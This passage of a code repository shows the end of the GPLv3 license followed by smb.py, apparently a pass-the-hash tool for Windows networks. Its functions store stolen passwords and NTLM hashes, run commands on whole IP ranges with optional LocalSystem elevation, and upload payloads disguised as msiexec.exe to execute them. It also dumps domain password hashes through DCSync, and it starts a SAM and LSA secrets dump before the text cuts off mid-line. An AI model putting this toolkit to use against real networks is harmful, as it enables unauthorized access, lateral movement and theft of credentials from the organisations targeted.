contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | <one line to give the program's name and a brief idea of what it does.> 635 | Copyright (C) <year> <name of author> 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see <http://www.gnu.org/licenses/>. 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | <program> Copyright (C) <year> <name of author> 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | <http://www.gnu.org/licenses/>. 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | <http://www.gnu.org/philosophy/why-not-lgpl.html>. 675 | -------------------------------------------------------------------------------- /smb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (C) 2015 jeremy s. 3 | # Contact: jrm` on irc.freenode.net 4 | 5 | # This program is free software: you can redistribute it and/or modify it 6 | # under the terms of the GNU General Public License as published by the Free 7 | # Software Foundation, either version 3 of the License, or (at your option) 8 | # any later version. 9 | 10 | # This program is distributed in the hope that it will be useful, but WITHOUT 11 | # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or 12 | # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for 13 | # more details. 14 | 15 | # You should have received a copy of the GNU General Public License along 16 | # with this program. If not, see <http://www.gnu.org/licenses/>. 17 | 18 | import sys, os, time, string, socket, subprocess, inspect 19 | 20 | from multiprocessing import Process 21 | 22 | try: 23 | from netaddr import IPNetwork 24 | except: 25 | print "[!] Please install the python-netaddr extension." 26 | sys.exit(1) 27 | 28 | try: 29 | import sqlite3 30 | except: 31 | print "[!] Please install python-sqlite3 extension." 32 | sys.exit(1) 33 | 34 | __version__ = '1.0.2alpha' 35 | __author__ = 'jrm`' 36 | __description__ = 'Run stuff remotely - Pass the Hash' 37 | 38 | BASEDIR = os.path.dirname(os.path.realpath(__file__)) + '/tools' 39 | TOOLS = { 40 | 'smbclient': BASEDIR + '/smbclient', # Version with Pass-The-Hash support 41 | 'winexe': BASEDIR + '/winexe-1.1-x64-static', # Version with Pass-The-Hash support 42 | 'vsscpy': BASEDIR + '/win/vsscpy.vbs', 43 | 'xfreerdp': BASEDIR + '/xfreerdp', 44 | 'socat': BASEDIR + '/socat', 45 | 'socat.tar': BASEDIR + '/win/socat.tar', 46 | 'tar': BASEDIR + '/win/tar.exe', 47 | 'nircmd': BASEDIR + '/win/nircmd.exe', 48 | 'runastask': BASEDIR + '/win/runastask.exe', 49 | 'logparser': BASEDIR + '/win/logparser.exe', 50 | 'mbsa': {'dll': BASEDIR + '/win/mbsa/%s/wusscan.dll', 'exe': BASEDIR + '/win/mbsa/%s/mbsacli.exe', 'cab': BASEDIR + '/win/mbsa/wsusscn2.cab', 'bat': BASEDIR + '/win/mbsa/mbsa.bat'}, 51 | } 52 | 53 | CONF = { 54 | 'system': False, 55 | 'creds_file': os.environ['HOME'] + '/.smbwrapper.vault', 56 | 'verbose': True, 57 | 'smb_user': '', 58 | 'smb_pass': '', 59 | 'smb_hash': '', 60 | 'smb_ip': '', 61 | 'threaded_mode': False, 62 | } 63 | 64 | def hostname_or_range_to_ip_list(hostname_or_range): 65 | # If this is an IP or IP range (CIDR representation) 66 | try: 67 | return [str(i) for i in IPNetwork(hostname_or_range)] 68 | except: 69 | pass 70 | 71 | # If this is a hostname 72 | # If this fails, we have a problem with the input. 73 | try: 74 | return socket.gethostbyname_ex(hostname_or_range)[2] 75 | except: 76 | text("[!] Unable to resolve: %s" % (hostname_or_range)) 77 | 78 | return [] 79 | 80 | def ip_argument_to_ip_list(input): 81 | ip_list = [] 82 | 83 | if os.path.exists(sys.argv[2]): 84 | with open(sys.argv[2], "r") as f: 85 | for line in f: 86 | ip_list += hostname_or_range_to_ip_list(line.strip()) 87 | else: 88 | ip_list = hostname_or_range_to_ip_list(sys.argv[2]) 89 | 90 | return ip_list 91 | 92 | def start_threaded_command(command, ip): 93 | CONF['smb_ip'] = ip 94 | 95 | if sys.argv[1] not in ['rdp', 'mount']: 96 | check_host() 97 | 98 | try: 99 | globals()[command]() 100 | 101 | except KeyboardInterrupt: 102 | text("\r[*] Stopping thread...", 1) 103 | 104 | def main(): 105 | sys.argv[0] = os.path.basename(sys.argv[0]) 106 | 107 | if len(sys.argv) < 2 or '-h' in sys.argv or 'help' in sys.argv: 108 | usage() 109 | 110 | # Enable LocalSystem elevation where possible 111 | if '-s' in sys.argv: 112 | CONF['system'] = True 113 | sys.argv = [x for x in sys.argv if x != '-s'] 114 | 115 | # Use an alternate credential vault 116 | if '-f' in sys.argv: 117 | pos = sys.argv.index('-f') 118 | try: 119 | CONF['creds_file'] = sys.argv[pos+1] 120 | del sys.argv[pos:pos+1] 121 | except: 122 | text("[!] Option -f requires an argument.", 1) 123 | 124 | check_vault() 125 | 126 | if not os.path.exists(CONF['creds_file']): 127 | text("[!] %s: file not found." % CONF['creds_file'], 1) 128 | 129 | # Check command validity and jump to main function 130 | command = 'smb_%s' % sys.argv[1] 131 | 132 | if command in dict(get_commands()).keys(): 133 | 134 | if len(sys.argv) < 3: 135 | usage() 136 | 137 | if sys.argv[1] not in ['creds', 'hash', 'dcsync'] and 'update' not in sys.argv: 138 | # 139 | # Here starts the multiprocessing part. 140 | # 141 | # Important note: 142 | # 143 | # Variable definition on a multiprocessed "thread" is independant 144 | # from the others threads. 145 | # This means a variable defined in the main-thread will be available 146 | # in the childs but every changes made in the childs won't be 147 | # available for the main thread or the other threads. 148 | # In this particular case, this is greatly helping us. 149 | ip_list = [] 150 | 151 | # First, we need to check if the ip specified is: 152 | # - A file containing unique IPs 153 | # - An ip specification (ip/range) 154 | # Whatever the mode is, we need to compute all possible IPs from this. 155 | ip_list = ip_argument_to_ip_list(sys.argv[2]) 156 | ip_list = list(set(ip_list)) 157 | 158 | # We keep track of a process list to join them later on. 159 | process_list = [] 160 | 161 | if len(ip_list) > 1: 162 | CONF["threaded_mode"] = True 163 | 164 | for ip in ip_list: 165 | ip = str(ip).strip() 166 | 167 | # Start the threads and add them to the process list. 168 | p = Process(target=start_threaded_command, args=(command, ip)) 169 | p.start() 170 | process_list.append(p) 171 | 172 | # Finally, we wait for each thread to finish. 173 | for p in process_list: 174 | p.join() 175 | else: 176 | globals()[command]() 177 | else: 178 | text("[!] Not a valid smbwrapper command.", 1) 179 | 180 | def color(txt, code = 1, modifier = 0): 181 | return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) 182 | 183 | def text(txt, e = False): 184 | 185 | if CONF['verbose']: 186 | 187 | if txt[0] == "\n": 188 | chars = txt[1:4] 189 | index = 4 190 | else: 191 | chars = txt[0:3] 192 | index = 3 193 | 194 | if chars == '[*]': 195 | ret = color(txt[:index], 2, 1) + txt[index:] 196 | elif chars == '[!]': 197 | ret = color(txt[:index], 1, 1) + txt[index:] 198 | elif chars == '[i]': 199 | ret = color(txt[:index], 3, 1) 200 | else: 201 | ret = txt 202 | 203 | print ret 204 | 205 | if e: 206 | sys.exit(1) 207 | 208 | def check_vault(): 209 | 210 | # Creating the vault if it doesn't exist 211 | if not os.path.exists(CONF['creds_file']): 212 | cursor = sqlite3.connect(CONF['creds_file']) 213 | cursor.execute('CREATE TABLE creds (active INTEGER, username varchar(32), password varchar(32), ntlm_hash varchar(32), comment varchar(256))') 214 | cursor.commit() 215 | cursor.close() 216 | 217 | def check_creds(): 218 | 219 | check_tool('smbclient') 220 | check = smbclient('quit') 221 | 222 | if 'NT_STATUS' in check: 223 | text('[!] %s' % check, 1) 224 | 225 | return True 226 | 227 | def check_tool(tool): 228 | if tool in TOOLS.keys(): 229 | return check_tool(TOOLS[tool]) if isinstance(TOOLS[tool], dict) else check_path(TOOLS[tool]) 230 | 231 | return False 232 | 233 | def check_host(): 234 | try: 235 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 236 | sock.settimeout(2) 237 | sock.connect((CONF['smb_ip'], 445)) 238 | sock.close() 239 | except: 240 | text("[!] %s Error(check_host): port 445 unreachable" % CONF['smb_ip'], 1) 241 | 242 | def check_path(path): 243 | if '%s' in path: 244 | check_path(path % 'x86') 245 | check_path(path % 'x64') 246 | else: 247 | if not os.path.exists(path): 248 | text("[!] %s Error(check_path): %s: file not found." % (CONF['smb_ip'], path), 1) 249 | 250 | return True 251 | 252 | def get_commands(): 253 | 254 | funcs = {} 255 | for a, b in sys.modules[__name__].__dict__.iteritems(): 256 | if a.startswith('smb_'): 257 | funcs[id(b)] = a 258 | 259 | commands = [] 260 | for k in sorted(funcs): 261 | commands.append((funcs[k], str(globals()[funcs[k]].__doc__).strip())) 262 | 263 | return commands 264 | 265 | def usage(): 266 | 267 | try: c = os.path.basename(sys.argv[1]) 268 | except: c = 'help' 269 | 270 | f = os.path.basename(__file__) 271 | 272 | print color(f +" v%s by %s - %s\n" % (__version__, __author__, __description__), 6, 1) 273 | print color(f +" -h", 7, 1) +" \t\t\t This help" 274 | print color(f +" -f <file>", 7, 1) +"\t\t Specify an alternative credential vault" 275 | 276 | if c == 'help': 277 | print "" 278 | print " " + color("The following commands are currently implemented:\n", 7, 4) 279 | 280 | else: 281 | print "" 282 | print color("Command usage:\n", 7, 4); 283 | 284 | for cmd in get_commands(): 285 | if c == 'help' or c == cmd[0][4:]: 286 | print " %s %s %s" % (color(f, 3, 3), color(cmd[0][4:], 3, 1), cmd[1]) 287 | print "" 288 | 289 | print " If the command supports it, use the "+ color("'-s'", 7, 1) +" option to attempt remote LocalSystem elevation.\n" 290 | print " Instead of using username+password or username+hash on the commandline," 291 | print " you can use the "+ color("smb.py", 3, 3) + " " + color("creds", 3, 1) +" command to populate the credential vault.\n" 292 | print " Usernames must be specified using the "+ color("DOMAIN\\LOGIN", 7, 1) +" syntax.\n" 293 | print " See usage examples at: " + color('https://github.com/jrmdev/smbwrapper/blob/master/README.md', 4, 4) 294 | print "" 295 | 296 | sys.exit(0) 297 | 298 | def creds_from_vault(): 299 | 300 | cursor = sqlite3.connect(CONF['creds_file']) 301 | 302 | # Get the number of active credentials 303 | res = cursor.execute("SELECT COUNT(*) AS count FROM creds WHERE active=1") 304 | (count,) = res.fetchone() 305 | 306 | if count == 0: 307 | text("[!] No credentials to use. Use the %s creds command to add some." % sys.argv[0], 1) 308 | 309 | res = cursor.execute("SELECT username, password, ntlm_hash FROM creds WHERE active=1 LIMIT 1") 310 | 311 | for row in res: 312 | CONF['smb_user'] = row[0] 313 | CONF['smb_pass'] = row[1] 314 | CONF['smb_hash'] = row[2] 315 | os.environ['SMBHASH'] = '00000000000000000000000000000000:' + CONF['smb_hash'] 316 | 317 | cursor.close() 318 | 319 | def creds_from_cmdline(): 320 | 321 | # Parsing command line to get credentials to use 322 | CONF['smb_user'] = sys.argv[3] 323 | 324 | if all(c in string.hexdigits for c in sys.argv[4]) and len(sys.argv[4]) == 32: 325 | CONF['smb_pass'] = '' 326 | CONF['smb_hash'] = sys.argv[4] 327 | os.environ['SMBHASH'] = '00000000000000000000000000000000:' + CONF['smb_hash'] 328 | 329 | else: 330 | CONF['smb_pass'] = sys.argv[4] 331 | CONF['smb_hash'] = ntlm_hash(sys.argv[4]) 332 | 333 | del sys.argv[2:4] 334 | 335 | def set_creds(length): 336 | 337 | if len(sys.argv) >= length+2: 338 | creds_from_cmdline() 339 | 340 | elif len(sys.argv) >= length: 341 | creds_from_vault() 342 | 343 | else: 344 | usage() 345 | 346 | CONF['smb_user'] = CONF['smb_user'].replace('\\', '/') 347 | 348 | if '/' in CONF['smb_user']: 349 | CONF['smb_domain'], CONF['smb_user'] = CONF['smb_user'].split('/') 350 | else: 351 | CONF['smb_domain'] = '' 352 | 353 | def ntlm_hash(str): 354 | import hashlib, binascii 355 | h = hashlib.new('md4', str.encode('utf-16le')).digest() 356 | return binascii.hexlify(h).upper() 357 | 358 | def download_file(src, dst, statusbar = True): 359 | from urllib2 import urlopen 360 | 361 | u = urlopen(src) 362 | f = open(dst, 'wb') 363 | 364 | meta = u.info() 365 | file_size = int(meta.getheaders("Content-Length")[0]) 366 | 367 | if file_size == 0: 368 | text("[!] %s Error(download_file): File empty." % (CONF['smb_ip'])) 369 | 370 | file_size_dl = 0 371 | block_sz = 8192 372 | 373 | text("[i][%s] File size: %i." % (CONF['smb_ip'], file_size)) 374 | 375 | try: 376 | while True: 377 | buffer = u.read(block_sz) 378 | 379 | if not buffer: 380 | break 381 | 382 | file_size_dl += len(buffer) 383 | f.write(buffer) 384 | except KeyboardInterrupt: 385 | f.close() 386 | text("[*] %s Exiting..." % (CONF['smb_ip']), 1) 387 | 388 | f.close() 389 | 390 | def smbclient(cmd): 391 | check_tool('smbclient') 392 | creds = '%s/%s%%%s' % (CONF['smb_domain'], CONF['smb_user'], CONF['smb_pass']) 393 | 394 | run = [] 395 | run.append(TOOLS['smbclient']) 396 | run.append('-U') 397 | run.append(creds) 398 | run.append('//'+ CONF['smb_ip'] +'/c$') 399 | run.append('-c') 400 | run.append(cmd) 401 | 402 | process = subprocess.Popen(run, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) 403 | 404 | ret = process.stdout.read() 405 | ret = ret.replace('\x00', '') 406 | return ret.strip() 407 | 408 | def winexe(cmd): 409 | check_tool('winexe') 410 | creds = '%s/%s%%%s' % (CONF['smb_domain'], CONF['smb_user'], CONF['smb_pass']) 411 | 412 | run = [] 413 | run.append(TOOLS['winexe']) 414 | if CONF['system']: 415 | run.append('--system') 416 | run.append('--uninstall') 417 | run.append('--interactive=0') 418 | run.append('-U') 419 | run.append(creds) 420 | run.append('//'+ CONF['smb_ip']) 421 | run.append(cmd) 422 | 423 | if not cmd.lower().startswith('cmd'): 424 | process = subprocess.Popen(run, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) 425 | 426 | ret = process.stdout.read() 427 | ret = ret.replace('\x00', '') 428 | return ret.strip() 429 | 430 | # For an interactive command line, don't use popen 431 | os.spawnvpe(os.P_WAIT, run[0], run, os.environ) 432 | return '' 433 | 434 | def os_architecture(): 435 | return 32 if 'NO_SUCH_FILE' in smbclient('dir "\\Program Files (x86)"') else 64 436 | 437 | def screen_resolution(): 438 | xrandr = subprocess.Popen(['xrandr', '--current'], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.readlines() 439 | 440 | for l in xrandr: 441 | if '*' in l: 442 | return l.split()[0].split('x') 443 | 444 | return ['1024', '768'] 445 | 446 | def up_and_exec(localcmd, delete_after = True): 447 | if os.path.exists(localcmd[0]): 448 | 449 | smbclient('put "%s" "\\windows\\temp\\msiexec.exe"' % localcmd[0]) 450 | ret = winexe('\\windows\\temp\\msiexec.exe %s' % ' '.join(localcmd[1:])) 451 | 452 | if delete_after: 453 | smbclient('del "\\windows\\temp\\msiexec.exe"') 454 | 455 | return ret 456 | else: 457 | text("[!] %s Error(up_and_exec): %s: file not found." % (CONF['smb_ip'], localcmd[0]), 1) 458 | 459 | def smb_creds(): 460 | """ 461 | [ list | set | del | use ] <user> <passwd/nthash> 462 | Manage SMB credentials 463 | """ 464 | 465 | if len(sys.argv) < 3: 466 | usage() 467 | 468 | if sys.argv[2] == 'list': 469 | cursor = sqlite3.connect(CONF['creds_file']) 470 | res = cursor.execute('SELECT * FROM creds') 471 | 472 | for row in res: 473 | print 'Active : %s' % ('*' if row[0] != 0 else '') 474 | print 'Username : %s' % row[1] 475 | print 'Passwd : %s' % row[2] 476 | print 'NT Hash : %s' % row[3] 477 | print 'Comment : %s' % row[4] 478 | print "-- " 479 | 480 | cursor.close() 481 | else: 482 | u = p = h = c = '' 483 | 484 | if len(sys.argv) > 3: 485 | u = sys.argv[3].split('\\', 2) 486 | 487 | if len(u) > 1: 488 | d = u.pop(0).upper() 489 | u = '%s\\%s' % (d, string.capwords(u.pop(0))) 490 | else: 491 | u = '\\'.join(u) 492 | 493 | if len(sys.argv) > 4: 494 | # We have a NT Hash instead of a password 495 | if all(c in string.hexdigits for c in sys.argv[4]) and len(sys.argv[4]) == 32: 496 | p = '' 497 | h = sys.argv[4].upper() 498 | else: 499 | p = sys.argv[4] 500 | h = ntlm_hash(p) 501 | 502 | if len(sys.argv) > 5: 503 | c = sys.argv[5] 504 | 505 | # Get the number of matching usernames in db for below use 506 | cursor = sqlite3.connect(CONF['creds_file']) 507 | res = cursor.execute("SELECT COUNT(*) AS count FROM creds WHERE LOWER(username)=LOWER(?)", (u,)) 508 | (count,) = res.fetchone() 509 | cursor.close() 510 | 511 | if sys.argv[2] == 'set' or sys.argv[2] == 'add': 512 | 513 | if len(sys.argv) >= 5: 514 | 515 | cursor = sqlite3.connect(CONF['creds_file']) 516 | 517 | # Insert or update credential 518 | if count == 0: 519 | cursor.execute("UPDATE creds SET active=0") 520 | cursor.execute("INSERT INTO creds VALUES(1, ?, ?, ?, ?)", (u, p, h, c)) 521 | cursor.commit() 522 | text("[*] Credentials added and marked as active.") 523 | else: 524 | cursor.execute("UPDATE creds SET active=0") 525 | cursor.execute("UPDATE creds SET active=1, password = ?, ntlm_hash = ?, comment = ? WHERE LOWER(username)=LOWER(?)", (p, h, c, u)) 526 | cursor.commit() 527 | text("[*] Credentials updated and marked as active.") 528 | 529 | cursor.close() 530 | 531 | if sys.argv[2] == 'del': 532 | 533 | if len(sys.argv) == 4: 534 | 535 | cursor = sqlite3.connect(CONF['creds_file']) 536 | 537 | # Delete credential 538 | if count == 1: 539 | cursor.execute("DELETE FROM creds WHERE LOWER(username)=LOWER(?)", (u,)) 540 | cursor.commit() 541 | text("[*] Credentials removed for '%s'." % u) 542 | else: 543 | text("[!] No such credentials in vault.") 544 | 545 | cursor.close() 546 | 547 | if sys.argv[2] == 'use': 548 | 549 | if len(sys.argv) == 4: 550 | 551 | cursor = sqlite3.connect(CONF['creds_file']) 552 | 553 | # Mark credential active 554 | if count == 1: 555 | cursor.execute("UPDATE creds SET active=0") 556 | cursor.execute("UPDATE creds SET active=1 WHERE LOWER(username)=LOWER(?)", (u,)) 557 | cursor.commit() 558 | text("[*] Active credentials set to '%s'." % u) 559 | else: 560 | text("[!] No credentials found for this username.") 561 | 562 | cursor.close() 563 | 564 | def smb_exec(): 565 | """ 566 | [-s] <ip/file/range> [ user ] [ passwd/nthash ] <cmd> 567 | Execute a command remotely (use "cmd" for a command prompt) 568 | Warning: When using several IPs, it is strongly recommended not 569 | not to run an interactive cmd (due to parallelism). 570 | """ 571 | 572 | set_creds(4) 573 | check_creds() 574 | ret = winexe(' '.join(sys.argv[3:])) 575 | 576 | if CONF['threaded_mode']: 577 | text("[*] %s Execution result\n%s" % (CONF['smb_ip'], ret)) 578 | else: 579 | print ret 580 | 581 | def smb_upexec(): 582 | """ 583 | [-s] <ip/file/range> [ user ] [ passwd/nthash ] <localfile.exe [-arg1 [-argx]]> 584 | Upload a file and run it remotely with the specified arguments 585 | """ 586 | 587 | set_creds(4) 588 | check_creds() 589 | ret = up_and_exec(sys.argv[3:]) 590 | text("\n[*] %s Execution result\n%s\n" % (CONF['smb_ip'], ret)) 591 | 592 | def smb_upload(): 593 | """ 594 | [-s] <ip/file/range> [ user ] [ passwd/nthash ] <localfile> <remotefile> 595 | Upload a file to the host 596 | """ 597 | 598 | set_creds(5) 599 | check_creds() 600 | 601 | if len(sys.argv) != 5: 602 | usage() 603 | 604 | if os.path.exists(sys.argv[3]): 605 | ret = smbclient('put "%s" "%s"' % (sys.argv[3], sys.argv[4])) 606 | text("\n[*] %s Upload result\n%s\n" % (CONF['smb_ip'], ret)) 607 | else: 608 | text("[!] %s Error(smb_upload): %s: file not found." % (CONF['smb_ip'], sys.argv[3]), 1) 609 | 610 | def smb_download(): 611 | """ 612 | [-s] <ip/file/range> [ user ] [ passwd/nthash ] <remotefile> <localfile> 613 | Download a file from the host. 614 | Note: smbwrapper will automatically rename the localfile using the target ip. 615 | This only happens when running against several hosts. 616 | """ 617 | 618 | set_creds(5) 619 | check_creds() 620 | 621 | if len(sys.argv) != 5: 622 | usage() 623 | 624 | if CONF["threaded_mode"]: 625 | localfile = "%s-%s" % (sys.argv[4], CONF["smb_ip"]) 626 | else: 627 | localfile = sys.argv[4] 628 | 629 | remotefile = sys.argv[3] 630 | 631 | ret = smbclient('get "%s" "%s"' % (remotefile, localfile)) 632 | text("\n[*] %s Download result\n%s\n" % (CONF['smb_ip'], ret)) 633 | 634 | def smb_check(): 635 | """ 636 | [-s] <ip/file/range> [ user ] [ passwd/nthash ] 637 | Check whether the current credentials work on the specified IP or range 638 | """ 639 | 640 | set_creds(3) 641 | check = smbclient('quit') 642 | 643 | if 'NT_STATUS' in check: 644 | text('[!] %s: %s' % (current_ip.strip(), check)) 645 | else: 646 | text('[*] %s: Login OK' % current_ip.strip()) 647 | 648 | 649 | def smb_dcsync(): 650 | """ 651 | [-s] <ip> [ user ] [ passwd/nthash ] [ -history ] 652 | Dump domain users hashes using DRSUAPI method (AD Replication) 653 | """ 654 | if CONF["threaded_mode"]: 655 | text("[!] Function not available when running for several hosts.", 1) 656 | 657 | ### The following is using secretsdump.py from impacket ### 658 | try: 659 | import secretsdump 660 | except: 661 | print color('[!] Please install python-impacket to use this function.') 662 | sys.exit(1) 663 | 664 | set_creds(3) 665 | 666 | class opts: 667 | use_vss = False 668 | aesKey = None 669 | system = None 670 | security = None 671 | sam = None 672 | ntds = None 673 | history = True if '-history' in sys.argv else False 674 | outputfile = None 675 | k = False 676 | just_dc = False 677 | just_dc_ntlm = True 678 | pwd_last_set = False 679 | hashes = None 680 | 681 | options = opts() 682 | 683 | if len(CONF['smb_hash']): 684 | opts.hashes = '00000000000000000000000000000000:%s' % CONF['smb_hash'] 685 | 686 | dumper = secretsdump.DumpSecrets(CONF['smb_ip'], username=CONF['smb_user'], domain=CONF['smb_domain'], password=CONF['smb_pass'], options=options) 687 | dumper.dump() 688 | 689 | def smb_creddump(): 690 | """ 691 | [-s] <ip/file/range> [ user ] [ passwd/nthash ] 692 | Extract SAM, SECURITY, SYSTEM hives and dump SAM, DCC, LSA Secrets 693 | """ 694 | 695 | try: 696 | sys.path.insert(0, 